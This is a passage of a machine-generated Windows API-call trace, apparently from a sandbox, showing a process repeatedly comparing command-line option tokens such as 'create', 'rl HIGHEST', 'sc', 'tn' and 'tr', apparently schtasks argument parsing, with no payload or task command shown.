[0108.770] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.770] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|k|") returned 3 [0108.770] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.770] lstrlenW (lpString="|k|") returned 3 [0108.770] lstrlenW (lpString="|rl|") returned 4 [0108.770] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.770] lstrlenW (lpString="du") returned 2 [0108.770] lstrlenW (lpString="du") returned 2 [0108.770] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.770] lstrlenW (lpString="rl") returned 2 [0108.770] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.770] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|du|") returned 4 [0108.771] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.771] lstrlenW (lpString="|du|") returned 4 [0108.771] lstrlenW (lpString="|rl|") returned 4 [0108.771] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0108.771] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.771] lstrlenW (lpString="ri") returned 2 [0108.771] lstrlenW (lpString="ri") returned 2 [0108.771] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.771] lstrlenW (lpString="rl") returned 2 [0108.771] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.771] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ri|") returned 4 [0108.771] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.771] lstrlenW (lpString="|ri|") returned 4 [0108.771] lstrlenW (lpString="|rl|") returned 4 [0108.771] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0108.771] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.771] lstrlenW (lpString="z") returned 1 [0108.771] lstrlenW (lpString="z") returned 1 [0108.771] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.771] lstrlenW (lpString="rl") returned 2 [0108.771] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.771] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|z|") returned 3 [0108.771] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.771] lstrlenW (lpString="|z|") returned 3 [0108.771] lstrlenW (lpString="|rl|") returned 4 [0108.771] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.771] lstrlenW (lpString="f") returned 1 [0108.772] lstrlenW (lpString="f") returned 1 [0108.772] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.772] lstrlenW (lpString="rl") returned 2 [0108.772] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.772] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.772] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.772] lstrlenW (lpString="|f|") returned 3 [0108.772] lstrlenW (lpString="|rl|") returned 4 [0108.772] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.772] lstrlenW (lpString="v1") returned 2 [0108.772] lstrlenW (lpString="v1") returned 2 [0108.772] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.772] lstrlenW (lpString="rl") returned 2 [0108.772] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.772] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|v1|") returned 4 [0108.772] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.772] lstrlenW (lpString="|v1|") returned 4 [0108.772] lstrlenW (lpString="|rl|") returned 4 [0108.772] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0108.772] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.772] lstrlenW (lpString="xml") returned 3 [0108.772] lstrlenW (lpString="xml") returned 3 [0108.772] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.772] lstrlenW (lpString="rl") returned 2 [0108.772] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.772] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|xml|") returned 5 [0108.772] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.773] lstrlenW (lpString="|xml|") returned 5 [0108.773] lstrlenW (lpString="|rl|") returned 4 [0108.773] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0108.773] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.773] lstrlenW (lpString="ec") returned 2 [0108.773] lstrlenW (lpString="ec") returned 2 [0108.773] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.773] lstrlenW (lpString="rl") returned 2 [0108.773] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.773] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ec|") returned 4 [0108.773] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.773] lstrlenW (lpString="|ec|") returned 4 [0108.773] lstrlenW (lpString="|rl|") returned 4 [0108.773] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0108.773] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.773] lstrlenW (lpString="rl") returned 2 [0108.773] lstrlenW (lpString="rl") returned 2 [0108.773] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.773] lstrlenW (lpString="rl") returned 2 [0108.773] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.773] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.773] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rl|") returned 4 [0108.773] lstrlenW (lpString="|rl|") returned 4 [0108.773] lstrlenW (lpString="|rl|") returned 4 [0108.773] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0108.773] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.773] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] lstrlenW (lpString="HIGHEST") returned 7 [0108.774] lstrlenW (lpString="-/") returned 2 [0108.774] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0108.774] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] lstrlenW (lpString="HIGHEST") returned 7 [0108.774] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0108.774] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] _memicmp (_Buf1=0x208f92dac00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.774] lstrlenW (lpString="HIGHEST") returned 7 [0108.774] lstrlenW (lpString="HIGHEST") returned 7 [0108.774] lstrlenW (lpString=" \x09") returned 2 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0108.774] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0108.774] GetLastError () returned 0x0 [0108.774] lstrlenW (lpString="HIGHEST") returned 7 [0108.774] lstrlenW (lpString="HIGHEST") returned 7 [0108.774] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.774] lstrlenW (lpString="/f") returned 2 [0108.774] lstrlenW (lpString="-/") returned 2 [0108.774] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.774] lstrlenW (lpString="create") returned 6 [0108.774] lstrlenW (lpString="create") returned 6 [0108.775] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.775] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.775] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|create|") returned 8 [0108.775] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.775] lstrlenW (lpString="|create|") returned 8 [0108.775] lstrlenW (lpString="|f|") returned 3 [0108.775] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0108.775] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.775] lstrlenW (lpString="?") returned 1 [0108.775] lstrlenW (lpString="?") returned 1 [0108.775] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.775] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.775] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|?|") returned 3 [0108.775] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.775] lstrlenW (lpString="|?|") returned 3 [0108.775] lstrlenW (lpString="|f|") returned 3 [0108.775] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0108.775] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.775] lstrlenW (lpString="s") returned 1 [0108.775] lstrlenW (lpString="s") returned 1 [0108.775] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.775] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.775] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|s|") returned 3 [0108.775] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.775] lstrlenW (lpString="|s|") returned 3 [0108.775] lstrlenW (lpString="|f|") returned 3 [0108.776] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0108.776] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.776] lstrlenW (lpString="u") returned 1 [0108.776] lstrlenW (lpString="u") returned 1 [0108.776] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.776] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.776] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|u|") returned 3 [0108.776] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.776] lstrlenW (lpString="|u|") returned 3 [0108.776] lstrlenW (lpString="|f|") returned 3 [0108.776] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0108.776] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.776] lstrlenW (lpString="p") returned 1 [0108.776] lstrlenW (lpString="p") returned 1 [0108.776] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.776] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.776] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|p|") returned 3 [0108.776] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.776] lstrlenW (lpString="|p|") returned 3 [0108.776] lstrlenW (lpString="|f|") returned 3 [0108.776] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0108.776] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.776] lstrlenW (lpString="ru") returned 2 [0108.776] lstrlenW (lpString="ru") returned 2 [0108.776] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.776] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.776] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ru|") returned 4 [0108.776] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.777] lstrlenW (lpString="|ru|") returned 4 [0108.777] lstrlenW (lpString="|f|") returned 3 [0108.777] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0108.777] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.777] lstrlenW (lpString="rp") returned 2 [0108.777] lstrlenW (lpString="rp") returned 2 [0108.777] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.777] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.777] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|rp|") returned 4 [0108.777] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.777] lstrlenW (lpString="|rp|") returned 4 [0108.777] lstrlenW (lpString="|f|") returned 3 [0108.777] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0108.777] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.777] lstrlenW (lpString="sc") returned 2 [0108.777] lstrlenW (lpString="sc") returned 2 [0108.777] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.777] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.777] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sc|") returned 4 [0108.777] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.777] lstrlenW (lpString="|sc|") returned 4 [0108.777] lstrlenW (lpString="|f|") returned 3 [0108.777] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0108.777] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.777] lstrlenW (lpString="mo") returned 2 [0108.777] lstrlenW (lpString="mo") returned 2 [0108.780] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.780] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.780] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|mo|") returned 4 [0108.780] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.780] lstrlenW (lpString="|mo|") returned 4 [0108.780] lstrlenW (lpString="|f|") returned 3 [0108.780] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0108.780] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.780] lstrlenW (lpString="d") returned 1 [0108.780] lstrlenW (lpString="d") returned 1 [0108.780] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.780] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.780] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|d|") returned 3 [0108.780] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.780] lstrlenW (lpString="|d|") returned 3 [0108.780] lstrlenW (lpString="|f|") returned 3 [0108.780] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0108.780] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.780] lstrlenW (lpString="m") returned 1 [0108.780] lstrlenW (lpString="m") returned 1 [0108.780] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.781] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.781] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|m|") returned 3 [0108.781] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.781] lstrlenW (lpString="|m|") returned 3 [0108.781] lstrlenW (lpString="|f|") returned 3 [0108.781] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0108.781] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.781] lstrlenW (lpString="i") returned 1 [0108.781] lstrlenW (lpString="i") returned 1 [0108.781] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.781] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.781] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|i|") returned 3 [0108.781] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.781] lstrlenW (lpString="|i|") returned 3 [0108.781] lstrlenW (lpString="|f|") returned 3 [0108.781] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0108.781] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.781] lstrlenW (lpString="tn") returned 2 [0108.781] lstrlenW (lpString="tn") returned 2 [0108.781] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.781] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.781] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tn|") returned 4 [0108.781] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.781] lstrlenW (lpString="|tn|") returned 4 [0108.781] lstrlenW (lpString="|f|") returned 3 [0108.781] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0108.781] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.782] lstrlenW (lpString="tr") returned 2 [0108.782] lstrlenW (lpString="tr") returned 2 [0108.782] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.782] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.782] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|tr|") returned 4 [0108.782] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.782] lstrlenW (lpString="|tr|") returned 4 [0108.782] lstrlenW (lpString="|f|") returned 3 [0108.782] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0108.782] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.782] lstrlenW (lpString="st") returned 2 [0108.782] lstrlenW (lpString="st") returned 2 [0108.782] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.782] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.782] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|st|") returned 4 [0108.782] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.782] lstrlenW (lpString="|st|") returned 4 [0108.782] lstrlenW (lpString="|f|") returned 3 [0108.782] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0108.782] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.782] lstrlenW (lpString="sd") returned 2 [0108.782] lstrlenW (lpString="sd") returned 2 [0108.782] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.782] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.782] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|sd|") returned 4 [0108.782] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.782] lstrlenW (lpString="|sd|") returned 4 [0108.783] lstrlenW (lpString="|f|") returned 3 [0108.783] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0108.783] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.783] lstrlenW (lpString="ed") returned 2 [0108.783] lstrlenW (lpString="ed") returned 2 [0108.783] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.783] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.783] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|ed|") returned 4 [0108.783] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.783] lstrlenW (lpString="|ed|") returned 4 [0108.783] lstrlenW (lpString="|f|") returned 3 [0108.783] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0108.783] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.783] lstrlenW (lpString="it") returned 2 [0108.783] lstrlenW (lpString="it") returned 2 [0108.783] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.783] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.783] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|it|") returned 4 [0108.783] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.783] lstrlenW (lpString="|it|") returned 4 [0108.783] lstrlenW (lpString="|f|") returned 3 [0108.783] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0108.783] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.783] lstrlenW (lpString="et") returned 2 [0108.783] lstrlenW (lpString="et") returned 2 [0108.783] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.783] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.783] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|et|") returned 4 [0108.784] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.784] lstrlenW (lpString="|et|") returned 4 [0108.784] lstrlenW (lpString="|f|") returned 3 [0108.784] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0108.784] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.784] lstrlenW (lpString="k") returned 1 [0108.784] lstrlenW (lpString="k") returned 1 [0108.784] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.784] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.784] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|k|") returned 3 [0108.784] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.784] lstrlenW (lpString="|k|") returned 3 [0108.784] lstrlenW (lpString="|f|") returned 3 [0108.784] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0108.784] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.784] lstrlenW (lpString="du") returned 2 [0108.784] lstrlenW (lpString="du") returned 2 [0108.784] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.784] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.784] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|du|") returned 4 [0108.784] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|f|") returned 3 [0108.784] lstrlenW (lpString="|du|") returned 4 [0108.784] lstrlenW (lpString="|f|") returned 3 [0108.784] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0108.784] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.784] lstrlenW (lpString="ri") returned 2 [0108.784] lstrlenW (lpString="ri") returned 2 [0108.784] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.785] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 